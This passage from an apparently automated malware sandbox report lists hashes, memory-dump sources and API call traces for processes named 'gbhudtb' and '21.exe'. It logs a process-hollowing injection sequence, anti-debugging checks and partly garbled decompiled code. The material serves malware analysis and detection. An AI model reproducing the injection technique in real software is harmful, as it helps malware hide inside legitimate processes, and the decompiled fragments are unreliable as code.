Instruction ID: fd271a60069478d9e85e2fad7deaa7712c787be95f3be9aeab1b4b987b801010
Opcode Fuzzy Hash: ed2891f3b553ceccb1197e576bb3cc6c62237795c24559e61feaca1efd6c1519
Instruction Fuzzy Hash: D901AF73818B07AB43709A7C4D8901E7F955A91230B494B6DB672B3EFAE634C90283C5

Uniqueness

Uniqueness Score: -1.00%

Function 0040156A, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction ID: 4f6bc8fa09aa5bdcf42d43fc69351f521f911aca1d628afa7bc85602f15907e6
Opcode Fuzzy Hash: 98ce89cfeeb5ddd9997256b5ea2b205477bd2588cb9c6c16e4865f99cdeb7182
Instruction Fuzzy Hash: 0D019E76558F0B6F43509D3C4A8554ABF525A9A1307C40B2CB272B3BFAD734C5018380

Uniqueness

Uniqueness Score: -1.00%

Function 0040163B, Relevance: .0, Instructions: 14COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.338075395.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction ID: 654c97a3283950a455190b9e492aed8f63260678440c25cc401c338180771753
Opcode Fuzzy Hash: 00b9d1c930405a9e521bac72b58a8e4ce3d6aa83d2bf40b4aa186e223dc26d8b
Instruction Fuzzy Hash: 1BD022B2474A16120612853C0C4802E7E0A08C31303C50F443633F30FDC218890743C4

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: gbhudtb PID: 7044 Parent PID: 664 gbhudtbCOMMON

Executed Functions

Function 02BE0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02BE0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02BE016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02BE0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02BE0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02BE0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02BE029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BE02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02BE02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02BE0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02BE032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02BE0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02BE03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02BE03E1
ResumeThread.KERNELBASE(00000000), ref: 02BE03ED
ExitProcess.KERNEL32(00000000), ref: 02BE0412

Memory Dump Source

Source File: 0000000E.00000002.393973084.0000000002BE0000.00000040.00000001.sdmp, Offset: 02BE0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: d78b4665d5779d45ff3a2d077fba4cb015de8c9ff0d5aa5efe1af1a8ee819765
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: C1B1C774A00208AFDB44CF98C895F9EBBB5FF88314F248158E949AB395D771AE41CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02BE0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02BE0533

Strings

0, xrefs: 02BE0492
saodkfnosa9uin, xrefs: 02BE04DA
mfoaskdfnoa, xrefs: 02BE0520, 02BE0523
d, xrefs: 02BE0584

Memory Dump Source

Source File: 0000000E.00000002.393973084.0000000002BE0000.00000040.00000001.sdmp, Offset: 02BE0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: c64970936116f7819f5d36da325346cc27550526ea5cf8614024d15b3e9c350a
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 85510570D08388DAEF11DBA8C849B9DBFB2AF11708F144099D5497F286C3FA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02BE05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02BE05EC

Strings

apfHQ, xrefs: 02BE05E2, 02BE05E5
o, xrefs: 02BE0600

Memory Dump Source

Source File: 0000000E.00000002.393973084.0000000002BE0000.00000040.00000001.sdmp, Offset: 02BE0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: 47f7e063d2e0905729420421182dbf2b6457d869682e12dbd1a0c866dccab80d
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: 07011EB0C0425CEEDF11EB98C5583AEBFB5AF41308F1484D9C4093B242D7B69B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00424920, Relevance: 1.5, APIs: 1, Instructions: 7COMMON

Download Yara Rule

APIs

RtlEncodePointer.NTDLL(00000000,?,0041D2DB,?,?,00424A90), ref: 00424927

Memory Dump Source

Source File: 0000000E.00000002.393612682.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.393589403.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.393653788.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.393877375.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: EncodePointer
String ID:
API String ID: 2118026453-0
Opcode ID: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction ID: d35c21fdf9697fae3b8ca4ac9df821949a654717cf36e16e5de8d48c8df027d1
Opcode Fuzzy Hash: 2ea03846aa0b567229e74ed0acf05d785ccbcc0ad5cbdc7d91d64925a7e8509b
Instruction Fuzzy Hash: 10A01132088208A3C2002282A80AF023A0CE3CCBA2F080020F20C0A0A00AA2A82080AA

Uniqueness

Uniqueness Score: -1.00%

Function 0041CB20, Relevance: 1.5, APIs: 1, Instructions: 5
COMMON

Download Yara Rule

C-Code - Quality: 100%

			_entry_() {
				void* _t3;
				void* _t4;

				E00421CF0(); // executed
				return L0041CB40(_t3, _t4);
			}

0x0041cb25
0x0041cb30

APIs

___security_init_cookie.LIBCMTD ref: 0041CB25

Memory Dump Source

Source File: 0000000E.00000002.393612682.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.393589403.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.393653788.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.393877375.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ___security_init_cookie
String ID:
API String ID: 3657697845-0
Opcode ID: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction ID: 2694d3b3090bb72e2c0ab5eae861d48d3f8affb5199f1fd9d83330763d83a11f
Opcode Fuzzy Hash: 989a3b1cde8d75633caca1be5d45cca953f1b250fff02efc506c9fb5d63ec8e4
Instruction Fuzzy Hash: 03A0022518C65816416033AB785795AB54E48E0B687D5001B7A1A421131C9CB89140AE

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 004266D0, Relevance: 7.6, APIs: 5, Instructions: 59
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E004266D0(intOrPtr __eax, intOrPtr __ebx, intOrPtr __ecx, intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, char _a4) {
				intOrPtr _v0;
				void* _v804;
				intOrPtr _v808;
				intOrPtr _v812;
				intOrPtr _t6;
				intOrPtr _t11;
				long _t15;
				intOrPtr _t19;
				intOrPtr _t20;
				intOrPtr _t21;
				intOrPtr _t22;
				intOrPtr _t23;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr* _t29;
				void* _t34;

				_t25 = __esi;
				_t24 = __edi;
				_t22 = __edx;
				_t20 = __ecx;
				_t19 = __ebx;
				_t6 = __eax;
				_t34 = _t20 -  *0x43e494; // 0x21cd7baf
				if(_t34 == 0) {
					asm("repe ret");
				}
				 *0x43ff40 = _t6;
				 *0x43ff3c = _t20;
				 *0x43ff38 = _t22;
				 *0x43ff34 = _t19;
				 *0x43ff30 = _t25;
				 *0x43ff2c = _t24;
				 *0x43ff58 = ss;
				 *0x43ff4c = cs;
				 *0x43ff28 = ds;
				 *0x43ff24 = es;
				 *0x43ff20 = fs;
				 *0x43ff1c = gs;
				asm("pushfd");
				_pop( *0x43ff50);
				 *0x43ff44 =  *_t29;
				 *0x43ff48 = _v0;
				 *0x43ff54 =  &_a4;
				 *0x43fe90 = 0x10001;
				_t11 =  *0x43ff48; // 0x0
				 *0x43fe44 = _t11;
				 *0x43fe38 = 0xc0000409;
				 *0x43fe3c = 1;
				_t21 =  *0x43e494; // 0x21cd7baf
				_v812 = _t21;
				_t23 =  *0x43e498; // 0xde328450
				_v808 = _t23;
				 *0x43fe88 = IsDebuggerPresent();
				_push(1);
				E004266B0(_t12);
				SetUnhandledExceptionFilter(0);
				_t15 = UnhandledExceptionFilter(0x409f14);
				if( *0x43fe88 == 0) {
					_push(1);
					E004266B0(_t15);
				}
				return TerminateProcess(GetCurrentProcess(), 0xc0000409);
			}

APIs

IsDebuggerPresent.KERNEL32 ref: 0042ECED
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0042ED04
UnhandledExceptionFilter.KERNEL32(00409F14), ref: 0042ED0F
GetCurrentProcess.KERNEL32(C0000409), ref: 0042ED2D
TerminateProcess.KERNEL32(00000000), ref: 0042ED34

Memory Dump Source

Source File: 0000000E.00000002.393612682.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000E.00000002.393589403.0000000000400000.00000002.00020000.sdmp Download File
Associated: 0000000E.00000002.393653788.000000000043E000.00000004.00020000.sdmp Download File
Associated: 0000000E.00000002.393877375.0000000002B36000.00000002.00020000.sdmp Download File

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction ID: 667d50180a260285ccbfbe8765d8080a644b9395e06ca7b0a6a88cdcc837672c
Opcode Fuzzy Hash: ec5799c425ddf0c343165b590ee265faa62188accbdfc7862bd0b4e9a472a92c
Instruction Fuzzy Hash: 23211EB9D002049BD300DF55FA866487BA4BB4E314F50207BED08A73B2E7B45989CF4E

Uniqueness

Uniqueness Score: -1.00%

Function 02BE0042, Relevance: .1, Instructions: 61COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000E.00000002.393973084.0000000002BE0000.00000040.00000001.sdmp, Offset: 02BE0000, based on PE: false

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction ID: 5397922d5e4ae167ea201d12cbd29607def5d9c8748a3967dfc55f50681b96d3
Opcode Fuzzy Hash: 80fd216e43a3e8e10aa1bc4256d449f15122fb9386c352c6ac78bfc1f060c30f
Instruction Fuzzy Hash: A31170723401049FDB54EE65DCD0EA673EAEB88320B198595E909DB312D7B9E801C760

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: 21.exe PID: 2132 Parent PID: 3352 21.exeCOMMON

Executed Functions

Function 02D4DC4C, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02D4DC94

Memory Dump Source

Source File: 00000010.00000002.389178865.0000000002D49000.00000040.00000001.sdmp, Offset: 02D49000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: 1f05f7fbad0377542aa65ab406b0994b31cb65e5759ce2a853e89e7a7d985095
Opcode Fuzzy Hash: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction Fuzzy Hash: E1F096352007156FD7203BF5AD8CB6E76E9AF4D625F100528F642D26C0DFB0ED458A61

Uniqueness

Uniqueness Score: -1.00%

Function 02D4D90B, Relevance: 1.3, APIs: 1, Instructions: 48memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000040), ref: 02D4D95C

Memory Dump Source

Source File: 00000010.00000002.389178865.0000000002D49000.00000040.00000001.sdmp, Offset: 02D49000, based on PE: false

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction ID: 81bb2ac2830057c176f0c6b9410139c05c32dd1f7a998e6500d745ebd54ecd42
Opcode Fuzzy Hash: 499270a49480bde3a93b1541ef130abcc6c407f96609cce36d97d57e1d2ec7bb
Instruction Fuzzy Hash: 72110979A00208EFDB01DF98C985E99BBF5EF08751F1580A4F9489B362D771EA90DF90

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: 21.exe PID: 808 Parent PID: 2132 21.exeCOMMON

Executed Functions

Function 004017EA, Relevance: 3.1, APIs: 2, Instructions: 54sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction ID: e26adff564c5d3d37a4e8030c80122da76794021b5cb737f4d399c49089bd509
Opcode Fuzzy Hash: 093506dd62a563d0441f59a8a05229de1ffc0c7044889409d056a06326e13c21
Instruction Fuzzy Hash: 7001B537604205EADB007EB59D819A93B68AF04365F248777BA12B91F1C938C652A71B

Uniqueness

Uniqueness Score: -1.00%

Function 0040185B, Relevance: 3.0, APIs: 2, Instructions: 50sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction ID: a7be6de418827693af2ab350a5dd922dd862006562865765dfea97ffb81bfcac
Opcode Fuzzy Hash: 1770049ace98a7458e43cc493052677b39fde3cfbd9b887cff6db6baf57fddbe
Instruction Fuzzy Hash: BF014F33604204FAEB047A929C45DAA3628AB04355F30C533BA13B90F1D97CCB12A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401866, Relevance: 3.0, APIs: 2, Instructions: 45sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction ID: e54376f1e00a1b05e1b0a4da34ea36749e6d38f0b530b75836749d90234edb27
Opcode Fuzzy Hash: dc1226d4bc2db8ad8be4ba055d694b18d68c57301a1c136da16781e7116eb212
Instruction Fuzzy Hash: DB018637604204EBDB047AD29C41EAA3725AF14315F24C177FE12BA0F1D53D8712A72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401884, Relevance: 3.0, APIs: 2, Instructions: 40sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction ID: 5cccd4a7217d25da87a080ae0d04b05742d3a6582cdde403d0d4fd1f208729a0
Opcode Fuzzy Hash: 06c47be1babc5c9914373f87bf5e5a6e30058494f01aa4c1fe81d8ba10f9d84d
Instruction Fuzzy Hash: DFF01237644205FBDB047A919C41EAA3729AF44355F20C137BB13790F1C57C8652A72B

Uniqueness

Uniqueness Score: -1.00%

Function 0040187A, Relevance: 3.0, APIs: 2, Instructions: 39sleepnativeCOMMON

Download Yara Rule

APIs

Sleep.KERNELBASE(00001388), ref: 00401896
NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessSleepTerminate
String ID:
API String ID: 417527130-0
Opcode ID: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction ID: 5d822ad72a3bc969102d855418471fb3ff8b776078c2435d27f60d427d7e2b1d
Opcode Fuzzy Hash: d2cc8ded923418a485b63d44c0e9af69491e3bef1ae54f85540c04aa078cd151
Instruction Fuzzy Hash: 88F0FF33604205EBDB047AD59C41EAA3729AF04315F20C537BA12790F1CA3D8612AB2B

Uniqueness

Uniqueness Score: -1.00%

Function 004018D3, Relevance: 1.5, APIs: 1, Instructions: 45
nativeCOMMON

Download Yara Rule

C-Code - Quality: 46%

			E004018D3(intOrPtr* __eax, void* __ebx, void* __ecx, void* __edi) {

				 *__eax =  *__eax + __eax;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				_pop(__edi);
				_pop(__ebx);
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

0x004018db
0x004018e5
0x004018ea
0x004018ec
0x004018ed
0x004018ed
0x004018ee

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction ID: 169e4967cc86e0c75baf1baab42a0cf60a3c7d0871e4951e2e4ac70a2d426d6d
Opcode Fuzzy Hash: 2828a8cd754e6382065d6a4fb934443d5e18941ecfa79c6ebd95b6c34ee4dc7b
Instruction Fuzzy Hash: 49F0C873604150EBD7013AA19C42AF63769EF01321F248137F923A50F1C63D8612B72B

Uniqueness

Uniqueness Score: -1.00%

Function 00401888, Relevance: 1.5, APIs: 1, Instructions: 37nativeCOMMON

Download Yara Rule

APIs

NtTerminateProcess.NTDLL(000000FF,00000000,?,?,?,?), ref: 004018BE

Memory Dump Source

Source File: 00000013.00000002.400610086.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID: ProcessTerminate
String ID:
API String ID: 560597551-0
Opcode ID: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction ID: 934e5413d765c160eebb9f9f9fdb0e9e8b4c73449cfdb306a0b7eda1d20c3935
Opcode Fuzzy Hash: 2a49fbe38ca64fb741f40d4948de9f53ca9b58de087dcfee36be181988c04280
Instruction Fuzzy Hash: 70F03073604104EADB007A959C41AAA3359FB05325F248537BE13B50E1C63D8612B727

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: gbhudtb PID: 3016 Parent PID: 7044 gbhudtbCOMMON

Executed Functions

Function 00402AC0, Relevance: .1, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 42%

			E00402AC0(void* __eax, void* __ebx, void* __ecx, void* __edx, void* __edi, void* __fp0) {
				intOrPtr* _t21;
				void* _t24;
				void* _t27;

				_t24 = __ecx;
				_push(0xffffffb6);
				 *((intOrPtr*)(__ebx + 0x47)) =  *((intOrPtr*)(__ebx + 0x47)) - __ebx;
				_push(__ecx);
				_t23 = 0x2e9e9c3;
				asm("in al, dx");
				asm("cmpsd");
				asm("loopne 0x4");
				asm("sbb al, 0x27");
				_t3 = __ecx - 0x16161681;
				 *_t3 =  *((intOrPtr*)(__ecx - 0x16161681)) - __eax + __eax - _t27;
				_t21 = 2;
				asm("in al, dx");
				if( *_t3 >= 0) {
					_t23 = 0x2e9e9c3 +  *0xf4b01aa;
					_push(ss);
					_push(ss);
					_t21 = 0x2b10;
					_push(0xad);
				}
				asm("lodsd");
				 *_t21 =  *_t21 + _t21;
				 *((intOrPtr*)(_t24 - 0x15)) =  *((intOrPtr*)(_t24 - 0x15)) + _t23;
				_t21 = _t21 + 0xf4eb0301;
				__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
			}

0x00402ac0
0x00402ac0
0x00402ac2
0x00402ac5
0x00402ac6
0x00402acb
0x00402acc
0x00402acd
0x00402acf
0x00402ad5
0x00402ad5
0x00402adb
0x00402add
0x00402ade
0x00402ae0
0x00402ae6
0x00402ae7
0x00402aed
0x00402afe
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b05
0x00402b0b

Memory Dump Source

Source File: 00000014.00000002.522374804.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction ID: 7fe242a26a87a4f58b180528eeead1ac373e7822ac378e6f41f12b53d01bde8d
Opcode Fuzzy Hash: 38ad5de6cc25e238ca772a8d165a14268aad872a468d94c481cb051d14e6d1b8
Instruction Fuzzy Hash: 4A21DB35208145EADF12AE618F5E9AA37349F10344F2400FBAD01751E2DBFD9B02BA1F

Uniqueness

Uniqueness Score: -1.00%

Function 00402AEB, Relevance: .1, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 64%

			E00402AEB(void* __ebx, void* __edx, void* __edi, void* __fp0) {
				void* _t15;

				_t15 = __ebx;
				while(1) {
					_push(0xad);
					asm("lodsd");
					 *0x2b10 =  *0x2b10 + 0x2b10;
					 *0x0000005D =  *((intOrPtr*)(0x5d)) + _t15;
					__eax = L0040118A(__eax, __ebx, __ecx, __edi, __eflags);
				}
			}

0x00402aeb
0x00402aed
0x00402afe
0x00402aff
0x00402b00
0x00402b02
0x00402b0b
0x00402b0b

Memory Dump Source

Source File: 00000014.00000002.522374804.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction ID: 703404f178dd1594a4d59af797b8ce1b5d4eb18bb8309dbacaae7544c7f15ca3
Opcode Fuzzy Hash: 0b23133ebc1994eb64dd26a5a6fc160ed452d82aaa0270aa4bfa54eac37b8cc9
Instruction Fuzzy Hash: 0A11FE30604106EADF12BE518B5ED7A3335AF10344F2000BBAD02751E1DBFDAB12B61B

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Analysis Process: gbhudtb PID: 5332 Parent PID: 664 gbhudtbCOMMON

Executed Functions

Function 02CB0110, Relevance: 22.7, APIs: 15, Instructions: 248memorynativethreadCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNELBASE(00000000,00002800,00001000,00000004), ref: 02CB0156
GetModuleFileNameA.KERNELBASE(00000000,?,00002800), ref: 02CB016C
CreateProcessA.KERNELBASE(?,00000000), ref: 02CB0255
VirtualFree.KERNELBASE(?,00000000,00008000), ref: 02CB0270
VirtualAlloc.KERNELBASE(00000000,00000004,00001000,00000004), ref: 02CB0283
GetThreadContext.KERNELBASE(00000000,?), ref: 02CB029F
ReadProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB02C8
NtUnmapViewOfSection.NTDLL(00000000,?), ref: 02CB02E3
VirtualAllocEx.KERNELBASE(00000000,?,?,00003000,00000040), ref: 02CB0304
NtWriteVirtualMemory.NTDLL(00000000,?,?,00000000,00000000), ref: 02CB032A
NtWriteVirtualMemory.NTDLL(00000000,00000000,?,00000002,00000000), ref: 02CB0399
WriteProcessMemory.KERNELBASE(00000000,?,?,00000004,00000000), ref: 02CB03BF
SetThreadContext.KERNELBASE(00000000,?), ref: 02CB03E1
ResumeThread.KERNELBASE(00000000), ref: 02CB03ED
ExitProcess.KERNEL32(00000000), ref: 02CB0412

Memory Dump Source

Source File: 00000017.00000002.437372189.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: Virtual$MemoryProcess$AllocThreadWrite$Context$CreateExitFileFreeModuleNameReadResumeSectionUnmapView
String ID:
API String ID: 2875986403-0
Opcode ID: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction ID: b4da79510591bedae0c4237a358fd6ee8304dd6e5b363a6564a0eaa93e342756
Opcode Fuzzy Hash: ec80134effe49fee59cfb16798ca45a1398515b3278bf894a8b0bf22fdce02bc
Instruction Fuzzy Hash: 2BB1B574A00208AFDB44CF98C895F9EBBB5BF88314F248158E909AB395D771AE45CF94

Uniqueness

Uniqueness Score: -1.00%

Function 02CB0420, Relevance: 10.6, APIs: 2, Strings: 4, Instructions: 113COMMON

Download Yara Rule

APIs

CreateWindowExA.USER32(00000200,saodkfnosa9uin,mfoaskdfnoa,00CF0000,80000000,80000000,000003E8,000003E8,00000000,00000000,00000000,00000000), ref: 02CB0533

Strings

d, xrefs: 02CB0584
0, xrefs: 02CB0492
mfoaskdfnoa, xrefs: 02CB0520, 02CB0523
saodkfnosa9uin, xrefs: 02CB04DA

Memory Dump Source

Source File: 00000017.00000002.437372189.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: CreateWindow
String ID: 0$d$mfoaskdfnoa$saodkfnosa9uin
API String ID: 716092398-2341455598
Opcode ID: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction ID: 5707b2ebcdd92a659f02c7708f4060883ea9f0a17bb1e75e2b1d17e8e75a04dd
Opcode Fuzzy Hash: bb9b397fb3b679a7694c33bc0dbf232ca5c2d59a4e09fc52e4db1d59d2773c33
Instruction Fuzzy Hash: 1A512B70D08388DEEB12CBD8C849BDEBFB66F11708F144058D5447F286C3BA5658CB66

Uniqueness

Uniqueness Score: -1.00%

Function 02CB05B0, Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 35COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNELBASE(apfHQ), ref: 02CB05EC

Strings

o, xrefs: 02CB0600
apfHQ, xrefs: 02CB05E2, 02CB05E5

Memory Dump Source

Source File: 00000017.00000002.437372189.0000000002CB0000.00000040.00000001.sdmp, Offset: 02CB0000, based on PE: false

Similarity

API ID: AttributesFile
String ID: apfHQ$o
API String ID: 3188754299-2999369273
Opcode ID: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction ID: e679b965806871f0bbed61513a2aedf71b26176c2ea2cec0cc4561b091d93619
Opcode Fuzzy Hash: af0d3c0451304eea9a95bfbcf33a37b8699cda851cd8c30db079f59d0d7bd2d6
Instruction Fuzzy Hash: E1011E70C0425CEADB11DBA8C5187EEBFB5AF41308F148099C8092B242D7769B58CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 02EB3284, Relevance: 1.5, APIs: 1, Instructions: 41COMMON

Download Yara Rule

APIs

Module32First.KERNEL32(00000000,00000224), ref: 02EB32CC

Memory Dump Source

Source File: 00000017.00000002.437962146.0000000002EAE000.00000040.00000001.sdmp, Offset: 02EAE000, based on PE: false

Similarity

API ID: FirstModule32
String ID:
API String ID: 3757679902-0
Opcode ID: 3788706d20f5b898e185810e19a2e38a50b9b544ac306a9cd33eedd6d527d18a
Instruction ID: b3348f48afc15446c621595e9588a0bba94e3905a5d851942233cdaf17ae1e5b
